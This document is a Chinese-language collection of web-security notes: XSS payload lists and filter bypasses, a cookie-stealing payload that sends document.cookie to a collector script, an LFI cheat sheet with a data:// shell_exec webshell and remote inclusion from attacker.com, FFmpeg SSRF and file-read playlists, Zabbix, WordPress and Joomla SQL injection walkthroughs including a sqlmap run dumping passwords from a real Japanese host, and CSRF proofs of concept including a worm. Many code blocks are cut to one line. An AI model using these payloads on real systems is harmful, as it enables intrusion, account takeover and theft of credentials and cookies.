测试版本:
测试环境:
===============================
不需要交互
CSP bypass via jQuery Gadget
1 | <!DOCTYPE html> |
测试版本:
测试环境:
===============================
CSP bypass via jQuery Gadget
1 | <!DOCTYPE html> |
关于一些XSS防御的方法
1 | callback 未转义导致 XSS |
解决方案:
1 | 后端通过 token 或 referer 检查防止 CSRF |
通过预定义函数转义或者利用安全包过滤
关键问题在于把数据插入到 DOM 的时候,没有做转义或者过滤
需要转义五个字符: < > ' " &
,漏掉其中任何一个都有可能导致问题。
1 | 解析html,得到所有的html标签和属性。对于不在白名单中的标签,直接删除或者转义。 |
除常规方案外,后台页面要求配置禁止外部链接的CSP策略,确保即使存在漏洞,一般的外部攻击也无法利用。应用所有页面,在response的http头中,都需要附加上CSP策略
=========================
这几天在玩AFSRC的xss漏洞比赛,虽然构造出了许多绕过方法,奈何手速太慢,重复率太感人,在这开一篇,记录下日常遇到的tips
%00(%0f)截断:
适用:IE 6
1 | <scri%00pt>alert(1);</scri%00pt> |
IE11 ASP.NET Request Validator bypass:
<% style=behavior:url(: onreadystatechange=alert(1)>
mhtml:https(IE 8)
<iframe src=mhtml:https://louchaooo.github.io/life.html!html></iframe>
IE8
<comment><img src="</comment><img src=x onerror=alert(1)//">
marquee onStart marquee onStart 重复标签绕过
<marquee onStart marquee onStart="javascript:javascript:alert(1)"></marquee onStart>
IE6
<STYLE>li {list-style-image: url("javascript:alert('styleeeeeeee')");}</STYLE><UL><LI>111</br>
IE 8
"><!--[if<img src=x onerror=javascript:alert(1)//]> -->
IE 8
<!--[if]><script>javascript:alert(1)</script -->
IE 8
<div style="color:rgb(''�x:expression(alert(1))"></div>
IE 7
<s%00c%00r%00%00ip%00t>confirm(1);</s%00c%00r%00%00ip%00t>
编码绕过
"><DIV STYLE="width:\0065\0078\0070\0072\0065\0073\0073\0069\006F\006E\0028\0070\0072\006F\006D\0070\0074\0028\0031\0029\0029">
IE 7
<div style="x:expression(alert(1))">Joker</div>
还有一些,无非也是浏览器特性,就先不放这了
============一些其它的paylaod============
探针
'';!--"<XSS>=&{()}
<!--<img src="--><img src=x onerror= (alert)(/xss/)//">
<iframe src=javascript:alert('xss');height=0 width=0 /><iframe>
过滤掉on事件
[img]javascript:alert
1//http://url/onerror=//a_/img/default/usr50.gif[/img]
<link type='application/json+oembed' href='http://ip/oembed.json'>
1 | { |
============盗取cookie=============
1、xss平台
2、
a.php <?php fwrite(fopen('ali.txt','a'),$GET['c']).'\r\n'; ?>
xss payload <img src="1" onerror="var a=new Image;a.src="http://IP/a.php?c='+document.cookie+'---'+location.pathname">
===========比较短的payload==========
<iframe>(8)
"onload='(alert)(8)'//>
=============Flash Xss=============
The ZeroClipboard.swf and ZeroClipboard10.swf are vulnerable to XSS attack, example:
http://website/js/ZeroClipboard.swf#?id=\"))}catch(e){alert(/XSS/.source);}//&width=500&height=500
http://website/js/ZeroClipboard10.swf#?id=\"))}catch(e){alert(/XSS/.source);}//&width=500&height=500
http://website/js/ZeroClipboard.swf?id=\"))}catch(e){alert(/XSS/.source);}//&width=500&height=500
http://website/js/ZeroClipboard10.swf?id=\"))}catch(e){alert(/XSS/.source);}//&width=500&height=500
vulnerable code:
public function ZeroClipboard(){
….
var flashvars:Object = LoaderInfo(this.root.loaderInfo).parameters;
id = flashvars.id;
….
ExternalInterface.call(“ZeroClipboard.dispatch”, id, “load”, null);
this files get a id parameter from url and passed it to second parameter inside ExternalInterface.call without any validation(only numbers) or proper escaping\encoding).
==========html5===========
1 | <script type="text/javascript"> |
===========绕过chrome auditor的payload========<script>alert('evil')</script
===================
No space and No Slash :
<svg•onload=alert(1)>
%0C
https://markitzeroday.com/character-restrictions/xss/2017/07/26/xss-without-dots.html
跳出<input>
标签">
==========XSS in Mobile Devices==========
1 | <body onorientationchange=alert(orientation)> |
.env 文件位于项目根目录下,作为全局环境配置文件。
google hack "DB_PASSWORD" filetype:env
以下内容引用自https://www.cnblogs.com/yingww/p/5607766.html
.env文件含有数据库账号密码等敏感数据,在laravel5.2中,在本地访问127.0.0.1/laravel/.env可直接访问到.env
为避免.env被直接访问,可使用重定向,方法如下:
在根目录下添加.htaccess文件(与.env处于同一个目录,Apache必须开启重定向扩展)
.htaccess文件内容如下:
将所有的的请求都重定向到public目录下
1 | <IfModule mod_rewrite.c> |
这时将无法访问127.0.0.1/laravel/.env
FFmpeg是一套可以用来记录、转换数字音频、视频,并能将其转化为流的开源计算机程序。功能非常强大,是每个视频网站必不可少的多媒体文件处理程序。
在FFMpeg2.X 由于在解析HTTP Live Streaming流媒体m3u8文件处理不当,可导致SSRF漏洞与任意文件读取漏洞。当网站允许用户上传多媒体文件,并使用FFMpeg进行处理时会触发该漏洞。
这个漏洞有两个CVE编号,分别是CVE-2016-1897和CVE-2016-1898,它们两个的区别在于读取文件的行数,CVE-2016-1897只能读取文件的第一行,而CVE-2016-1898可以读取文件任意行,原理基本一样,这里就一起分析了。
由于漏洞是出现在解析HLS流媒体文件出的问题,所以我们必须先了解HLS。
HLS(HTTP Live Streaming)是Apple公司开发的一种基于HTTP协议的流媒体通信协议,大多数都应用在PC上和Iphone上。它的基本原理是把一个视频流分成很多个很小很小很小的ts流文件,然后通过HTTP下载,每次下载一点点。在一个开始一个新的流媒体会话时,客户端都会先下载一个m3u8(播放列表 Playlist)文件,里面包含了这次HLS会话的所有数据。
如图所示,有一个主要的m3u8格式Playlist文件,里面可以包含下级的m3u8文件,客户端会再去索引下级的m3u8,继续解析下级的Playlist文件获取最终的TS流文件的http请求地址与时间段。
http://pl.youku.com/playlist/m3u8?vid=340270152&type=3gphd&ts=1462714824&keyframe=0&ep=dSaSGE6MUssC5ybeiz8bYiXiIiZdXP0O9h2CgdNnAtQnS%2Bm2&sid=746271452251312590fab&token=3319&ctype=12&ev=1&oip=3395898128
这是youku一个视频的m3u8文件,内容如下:
1 | #EXTM3U |
解析:
1 | #EXTM3U 标签是m3u8的文件头,开头必须要这一行 |
这些是m3u8的最基本的标签,而问题就出在FFMpeg去请求TS流文件的时,由于我们可以伪造一个m3u8文件,FFMpeg不会判断里面的流地址,直接请求。
SSRF漏洞:
直接用FFMpeg解析一个多媒体文件
1 | #EXTM3U |
(#EXT-X-MEDIA-SEQUENCE
或#EXT-X-TARGETDURATION
必须存在任意一个,前者是定义ts流文件的序号。去掉会报错:无效文件)
ffmpeg -i test.m3u8 test.mp4
(也可把m3u8格式改成其他后缀,ffmpeg会自动识别为HLS流文件)
直接发起了http请求,这就造成一个SSRF。
结合SSRF任意文件读取:
FFMpeg支持很多扩展协议,其中的concat:协议可以合并多个流URL,官方称为Physical concatenation protocol
这样可以合并多个URL concat:URL1|URL2|...|URLN
新建一个主HLS文件h.m3u8在web服务器
1 | #EXTM3U |
再创建一个下级的m3u8文件 test.txt,最终的请求会引到最下级的m3u8文件,也就是这个test.txt
1 | #EXTM3U |
再用ffmpeg处理test.m3u8
1 | #EXTM3U |
提示当读取第一段的时候出错,URL是http://xxx/?#EXTM3U
,但我们建立的那个下级的m3u8文件 test.txt是http://xxx.com/?
,多出来的“#EXTM3U,”这部分是用concat协议合并的那个txt,http://xxx/test.txt
的第一行;而ffmpeg支持多种协议获取输入流,http、ftp、smb、file等,既然用concat协议可以读取文件的第一行,那把http换成file协议就可以读取本地文件了,漏洞就出在这里。
主m3u8文件改成concat:http://xxx/test.txt|file:///etc/passwd
,再请求就能读取到passwd文件的第一行,当然也可以读取内网网站的信息。
但这样就只能读取一行,意义不大。但FFMpeg支持一个截取数据流片段的功能:subfile
。用法:subfile,,start,153391104,end,268142592,,:/media/dvd/VIDEO_TS/VTS_08_1.VOB
Start后是开始截取的偏移量,以字节为单位,end是结束的偏移量。
既然可以截取数据流就可以利用subfile获取比较完整的文件了。测试时候一次最多只能截取32字节,所以要继续用concat合并多个数据流片段。
1 | #EXTM3U |
这样就可以读取任意文件的任意内容
之前的ImageMagick漏洞因为有些网站有文件大小检测而无法攻击,在这个漏洞中的测试我也发现一些网站有对上传视频文件的大小限制。这里有方法可以扩充文件大小。
直接扩充#EXTINF,这个标签前面说过,是代表TS流文件的时间长度,可以无限扩充,直到符合大小为止,仍可正常解析。
zabbix是一个开源的企业级性能监控解决方案。近日,zabbix的jsrpc的profileIdx2参数存在insert方式的SQL注入漏洞,攻击者无需授权登陆即可登陆zabbix管理系统,也可通过script等功能轻易直接获取zabbix服务器的操作系统权限。
无需登录注入这里有个前提,就是zabbix开启了guest权限。而在zabbix中,guest的默认密码为空。需要有这个条件的支持才可以进行无权限注入。
在zabbix的地址后面添加:
/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&tim estamp=1471054088083&mode=2&screenid=&groupid=&hostid=0&pageFile=hi story.php&profileIdx=web.item.graph&profileIdx2=2’3297&updateProfil e=true&screenitemid=&period=3600&stime=20170813040734&resourcetype= 17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=& mark_color=1
如果出现下列代码则证明漏洞存在
<div class="flickerfreescreen" data-timestamp="1471054088083" id="flickerfreescreen_1"><table class="list-table" id="t57ae81946b8cb"><thead><tr><th class="cell- width">Timestamp</th><th>Value</th></tr></thead><tbody><tr class="nothing-to-show"><td colspan="2">No data found.</td></tr></tbody></table></div><div class="msg-bad"><div class="msg-details"><ul><li>Error in query [INSERT INTO profiles (profileid, userid, idx, value_int, type, idx2) VALUES (39, 1, 'web.item.graph.period', '3600', 2, 2'3297)] [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''3297)' at line 1]</li><li>Error in query [INSERT INTO profiles (profileid, userid, idx, value_str, type, idx2) VALUES (40, 1, 'web.item.graph.stime', '20160813041028', 3, 2'3297)] [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''3297)' at line 1]</li><li>Error in query [INSERT INTO profiles (profileid, userid, idx, value_int, type, idx2) VALUES (41, 1, 'web.item.graph.isnow', '1', 2, 2'3297)] [You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''3297)' at line 1]</li></ul></div><span class="overlay-close-btn" onclick="javascript: $(this).closest('.msg-bad').remove();" title="Close"></span></div>
latest.php?output=ajax&sid=&favobj=toggle&toggle_open_state=1&toggle_ids[]=15385);select * from users where (1=1
如果出现下列代码则证明漏洞存在
SQL (0.000361):INSERT INTO profiles (profileid, userid, idx, value_int, type, idx2) VALUES(88, 1, 'web.latest.toggle', '1', 2, 15385); select * from users where (1=1) latest.php:746 →require_once() → CProfile::flush() → CProfile::insertDB() → DBexecute() in/home/sasha/zabbix-svn/branches/2.2/frontends/php/include/profiles.inc.php:185
测试的一个Japan站
sqlmap -u "http://157.×××.×××.98/jsrpc.php?type=9&method=screen.get×tamp=1471403798083&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=1+or+updatexml(1(select(select+concat(0x7e,alias,0x7e,passwd,0x7e))+from+zabbix.users+LIMIT+0,1),1)+or+1=1)%23&updateProfile=true&period=3600&stime=20160817050632&resourcetype=17" --level=3 --risk=2 --columns -T "users" -D "public"
1 | Database: public |
可获得最高权限
zabbix 2.2.14
jsrpc.php
文件入手,1 | require_once dirname(__FILE__).'/include/config.inc.php'; |
从这里看到data是由REQUEST赋值的,接受 GET/POST/COOKIE任意一种输入,所以payload可以用get方式传输,在payload中由method=screen.get
这一部分,在源码中可以看到如下代码
1 | case 'screen.get': |
其中$options[profileIdx2]赋值了$data[profileIdx2],
之后调用这几句代码
1 | $screenBase = CScreenBuilder::getScreen($options); |
一时没了思路,跟几句代码死磕,找到zabbix-2.2.14/frontends/php/include/classes/screens/CScreenBuilder.php
,在 ,可以看到public static function getScreen(array $options = array())
函数中没有找到可以造成漏洞的交互点,太菜了!!!profileIdx2
已经到达了下面代码中了
1 | // calculate time |
一路上没有经过任何过滤,然后接着往下看可以看到
1 | $this->timeline = CScreenBase::calculateTime(array( |
profileIdx2
成为了calculateTime
的参数,这时我们追踪一下calculateTime
函数,在zabbix-2.2.14/frontends/php/include/classes/screens/CScreenBase.php
中,代码如下
1 | public static function calculateTime(array $options = array()) { |
重点来了,可以看到CProfile::update($options['profileIdx'].'.period', $options['period'], PROFILE_TYPE_INT, $options['profileIdx2']);
这句,这时接着追踪CProfile来到page_footer.php
中找到profiles.inc.php
,
1 | public static function update($idx, $value, $type, $idx2 = 0) { |
可以看到self::$insert[$idx][$idx2] = $profile;
,参数已经到了insert
中,
然后去请教表哥,表哥提示问题出现在flush
中
根据表哥的提示,
在page_footer.php
中发现CProfile类的flush方法
1 | // last page |
在profiles.inc.php
中找到了flush函数
1 | public static function flush() { |
参数传入下面的insertDB
函数
1 | private static function insertDB($idx, $value, $type, $idx2) { |
可以看到第四个参数没有过滤,通过DBexecute
被带到了数据库中
1 | function DBexecute($query, $skip_error_messages = 0) { |
这里还有好多东西没有搞懂,毕竟太菜
关键代码如下
1 |
|
已知问题代码出现在mail()函数,首先定位到$result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
这行代码。
通过mailPassthru
跟踪到下面这段代码
1 | private function mailPassthru($to, $subject, $body, $header, $params) |
根据这段if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) { $result = @mail($to, $subject, $body, $header);
可以看到只有safe_mode
没有开启的情况下才存在漏洞。
假设这个函数没有开启,继续追踪到关键函数$result = @mail($to, $subject, $body, $header, $params);
接下来看一看这个函数到底是怎么绕过的,追踪$params
参数
在setFrom()
函数中发现这个参数
1 | public function setFrom($address, $name = '', $auto = true) |
函数中对address
参数进行了过滤,既然这样,那问题肯定就是出现在过滤函数中了,继续往下找
过滤函数validateAddress
1 | public static function validateAddress($address, $patternselect = null) |
看到这段可以分析出两个限制条件,php版本小于5.2.0并且不支持PCRE才有可能调用 $patternselect = 'noregex';
,
假设版本小于5.2.0并且不支持PCRE,看一看noregex
如何过滤的
1 | case 'noregex': |
只要存在@并且长度大于等于3就好了,那这样就可以任意构造这个参数了。
接下来继续分析怎么构造会造成漏洞
这个漏洞的核心是因为php mail()函数漏洞引起的
首先看一下这个函数http://www.w3school.com.cn/php/func_mail_mail.asp
的语法
1 | 语法 |
声明:下面这段摘自绿盟博客,解释的至少比我易懂
在Linux系统上,mail函数在底层实现中,默认调用Linux的sendmail程序发送邮件。在sendmail程序的参数中,有一个-X选项,用于记录所有的邮件进出流量至log文件中。
1 | > -X logfile |
通过-X指定log文件记录邮件流量,实际可以达到写文件的效果。
例如,如下php代码
1 | $to = '[email protected]'; |
执行后,查看log文件/var/www/html/rce.php
1 | 17220 <<< To: [email protected] |
发现被写入了包含在邮件标题或正文中的php代码,通过访问此log文件可以执行预先可控的php代码。
关于POC可以看一下这些文章
https://legalhackers.com/videos/PHPMailer-Exploit-Remote-Code-Exec-Vuln-CVE-2016-10033-PoC.html
http://www.leavesongs.com/PENETRATION/PHPMailer-CVE-2016-10033.html
https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html
http://blog.nsfocus.net/multiple-php-mail-function-vulnerability-analysis/?utm_source=tuicool&utm_medium=referral
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-10033
阿里云OSS安全 https://help.aliyun.com/document_detail/126537.html?spm=a2c4g.11186623.6.552.44f874b8BaaI5y
1 | http://site.com/lfi.php?page=/etc/passwd |
php://filter是一种元封装器,设计用于”数据流打开”时的”筛选过滤”应用,对本地磁盘文件进行读写。简单来讲就是可以在执行代码前将代码换个方式读取出来,只是读取,不需要开启allow_url_include;
1 | http://www.site.com/lfi.php?page=php://filter/resource=config.php |
Request’s user agent can be found there
用户可通过修改浏览器的agent信息插入自己的内容到该文件,将php代码写进去之后再利用LFI进行包含就可以实现漏洞的利用
1 | GET /lfi.php?page=/proc/self/environ&cmd=id HTTP/1.1 |
If image.jpg contains php code it will be interpreted.
1 | http://www.site.com/lfi.php?page=upload/image.jpg |
File must be zip archive with any extension
phar://伪协议 >> 数据流包装器,自 PHP 5.3.0 起开始有效,正好契合上面两个伪协议的利用条件。说通俗点就是php解压缩包的一个函数,解压的压缩包与后缀无关。
用法:?file=phar://压缩包/内部文件
1 | http://www.site.com/lfi.php?page=zip://image.zip#shell.php |
It requires php interpreter that crashes upon infinite recursive inclusion, thus not removing temporary file.
We have 62**6 possible values -> 56800235584 filenames for temporary uploaded files
Birthday paradox can be applied and it results with about 280000 requests to find valid file with more than 50% chance.
1 | import itertools |
It is possible to send 20 files in one request that will be accepted by the server.
1 | Session文件一般存放在/tmp/、/var/lib/php/session/、/var/lib/php/session/等目录下,文件名字一般以sess_SESSIONID来保存。 |
1 | <?php phpinfo(); ?> |
php有个特性是我们向服务器上任意php文件post请求上传数据时,都会生成临时文件,默认是传到tmp目录下,并且文件名是随机的。当然,我们可以暴力猜解,但是这样子还是太过鸡肋的。国外一个安全研究者提出利用phpinfo来找出所上传的文件路径,因为phpinfo会记录一些请求,包括在服务器上生成的临时文件名字和目录。所以借助phpinfo()我们可以找出临时文件名并利用。
1 | #!/usr/bin/env python |
包含web server日志文件
不管我们提交的Get请求或者Post请求都会被apache记录到日志文件里。所以我们可以控制请求内容,将恶意代码写入日志文件,从而实现包含。
直接访问test.php?file=../<?php phpinfo();?>.php
,将会被记录下来。这样便成功将php代码写进log文件。
FTP日志文件内容
用户名填:<?php phpinfo();?>
Works when allow_url_include in php.ini is set to TRUE
Including php file in text format directly
1 | http://www.site.com/lfi.hpp?page=http://attacker.com/shell.txt |
Including php code through data stream
data://伪协议 >> 数据流封装器,和php://相似都是利用了流的概念,将原本的include的文件流重定向到了用户可控制的输入流中,简单来说就是执行文件的包含方法包含了你的输入流,通过你输入payload来实现目的;
1 | http://www.site.com/lfi.php?page=data:text/plain;,<?php echo shell_exec($_GET['cmd']);?> |
?file=php://input 数据利用POST传过去
1 | POST /lfi.php?page=php://input&cmd=cd HTTP/1.1 |
Add null byte that will terminate string
1 | http://www.site.com/lfi.php?page=/etc/passwd%00 |
Cut extension by creating long string
1 | http://www.site.com/lfi.php?page=../../../../../../../../../../../../etc/passwd |
1 | http://www.site.com/lfi.php?page=/etc/passwd.............................. |
1 | http://www.site.com/lfi.php?page=/etc/passwd.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\ |
参考:
CSRF:Cross-Site Request Forgery,跨站请求伪造
在OWASP中是这样说的
1 | 一个跨站请求伪造攻击迫使登录用户的浏览器将伪造的HTTP请求,包括该用户的会话cookie |
1 | 请求是个GET请求,请求中没有token验证和referer验证,然后还有一个固定的变量可以被控制 |
1 | 请求是个POST请求,请求中没有token参数,也没有验证referer |
1 | 请求是个POST请求,请求中没有token参数,但是验证了referer。然而可以将post请求改写为get请求,然后通过第一种的情况进行利用 |
1 | 传说中的“黄金搭档” |
1 | Flash跨域权限管理文件过滤规则不严(domain=”*”),导致可以从其它任何域传Flash产生CSRF |
篡改目标网站上的用户数据
盗取用户隐私数据
作为其他攻击向量的辅助攻击手法
传播CSRF蠕虫
漏洞点http://www.vmall.com/member/[email protected]
然后就可以修改绑定邮箱,然后通过邮箱修改密码,登录帐号
这里uid可以是任意用户
利用burp简单构造poc
1 | <form action="http://movie.weibo.com/feed/relation/index/?fajtype=follow" method="POST"> |
http://wanwan.sina.com.cn.llunull.tk/a.php
此处构造poc
1 | <form action="http://wanwan.sina.com.cn/t_sina/event/sxd.php" method="get"> |
添加后台管理员请求如下:
然后将post请求改成get也可以成功发包。
http://127.0.0.1/asp/Survey/admin/Admin.asp?Username=test222&Password1=123456&Password2=123456&action=yes
电影的评论处存在存储型xss
payload:<img src=x onerror=$['get\123cript']('//20.rs') width=0>
CSRF的蠕虫代码
1 | var url="http://www.wandafilm.com/user/comment.do?m=addFilmComment"; |
filmId是想要蔓延过去的电影ID的值,只需要改变电影ID就可以实现蠕虫的蔓延,当然这只是测试了
在百度词典-我的词典处,有将生词添加进生词本的功能,在备注的时候没有进行过滤,可以直接插入JavaScript代码。
一个“SELF-XSS”,只能跨自己,有什么用呢?
考虑利用CSRF来触发这个XSS
构造POC:
1 | #!html |
诱惑受害者访问该页面
已经成功添加了一个新单词“Wooyun”
代码成功执行
[来源wooyun]
当一个访客访问伪造链接的时候,自动设置自己的密保邮箱。
申请保密邮箱,浏览器向服务端发送了一个POST请求,请求地址和参数为:POST:xxx.xxx.xx/xx.jsp?userid=xxxx&[email protected]
之前测试保密邮箱得知服务端没有验证Referer,但是页面验证了Token,所以就可以直接把POST数据包中的请求地址,参数名,参数值,Token值取出来用于伪造绑定保密邮箱的请求。
利用代码:
1 | #!as3 |
现在可以注册一个新邮箱测试一下了
[来源wooyun]
token校验
只要够猥琐,一个小洞也能上天
1 | # Exploit Title: Single Personal Message 1.0.3 – Plugin WordPress – Sql Injection |
好不容易从github上找了份有漏洞的版本
目录结构如图
既然是注入就从交互点下手,搜索sql语句,顺着目录挨个寻找
从外到内寻找交互的地方,在admin/class-simple-personal-message-admin.php
发现了几十处,例如下面这种
1 | $user_login = esc_sql(wp_get_current_user()->user_login); |
然而这个里面所有的都用esc_sql
过滤了
继续往里层查找,在admin/partials/simple-personal-message-admin-view.php
发现
1 | <?php |
可以很明显的看到
1 | $id = esc_attr($_GET['message']); |
message
没有经过过滤就拼接到sql语句中了
正常状态下
拼接一下message
参数
http://localhost/wordpress/wp-admin/admin.php?page=simple-personal-message-outbox&action=view&message=1%20UNION%20SELECT%201,2.3,4,5,user(),7,8,9,10,11,12%20FROM%20wp_terms%20WHERE%20term_id=1
1 | Security Risk: Severe |
1 | http://127.0.0.1/Joomla_16/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=extractvalue(1,concat(0x7e,(select%20user()),0x7e)) |
MVC架构,根据poc往下扒
CVE-2017-8917_Joomla_3.7.0\components\com_fields\controller.php
1 | public function __construct($config = array()) |
然后跟踪这个函数到了CVE-2017-8917_Joomla_3.7.0\libraries\legacy\controller\legacy.php
1 | public function __construct($config = array()) |
继续往下走
1 | public function display($cachable = false, $urlparams = array()) |
1 | public function getModel($name = '', $prefix = '', $config = array()) |
然后接下来setModel将model Push到view中
1 | // Get/Create the model |
1 | // Display the view |
跳转到视图的display函数中CVE-2017-8917_Joomla_3.7.0\administrator\components\com_fields\views\fields\view.html.php
1 | public function display($tpl = null) |
跟进上一段中的get函数CVE-2017-8917_Joomla_3.7.0\libraries\legacy\view\legacy.php
1 | public function get($property, $default = null) |
接下来跟踪getState,CVE-2017-8917_Joomla_3.7.0\libraries\legacy\model\legacy.php
1 | public function getState($property = null, $default = null) |
追踪populateState函数CVE-2017-8917_Joomla_3.7.0\administrator\components\com_fields\models\fields.php
1 | protected function populateState($ordering = null, $direction = null) |
跟踪到父类CVE-2017-8917_Joomla_3.7.0\libraries\legacy\model\list.php
1 | // Receive & set list options |
取了个list的值进来赋值给了$list
$list遍历出来,接着switch 键值
switch完成后
1 | $this->setState('list.' . $name, $value); |
通过这个可以设置list.fullordering
设置后,下一步就要考虑如何取出来
在视图文件中的display方法中,利用get(‘State’)来调用了getState方法。紧跟着这个操作的下一行,就有一个get(‘Item’)
1 | public function display($tpl = null) |
跟踪getItems函数
1 | public function getItems() |
跟踪_getListQuery函数
1 | protected function _getListQuery() |
然后这里又调用了一个getListQuery方法,这里调用的getListQuery不是此类的getListQuery,而是子类,也就是filedsModel类里的getListQuery了,在该方法的最后CVE-2017-8917_Joomla_3.7.0\administrator\components\com_fields\models\fields.php
1 | // Add the list ordering clause |
这里就调用getState将前面设置的list.fullordering的值给取了出来,然后带入到了order函数中去了,就造成了一个order by的注入
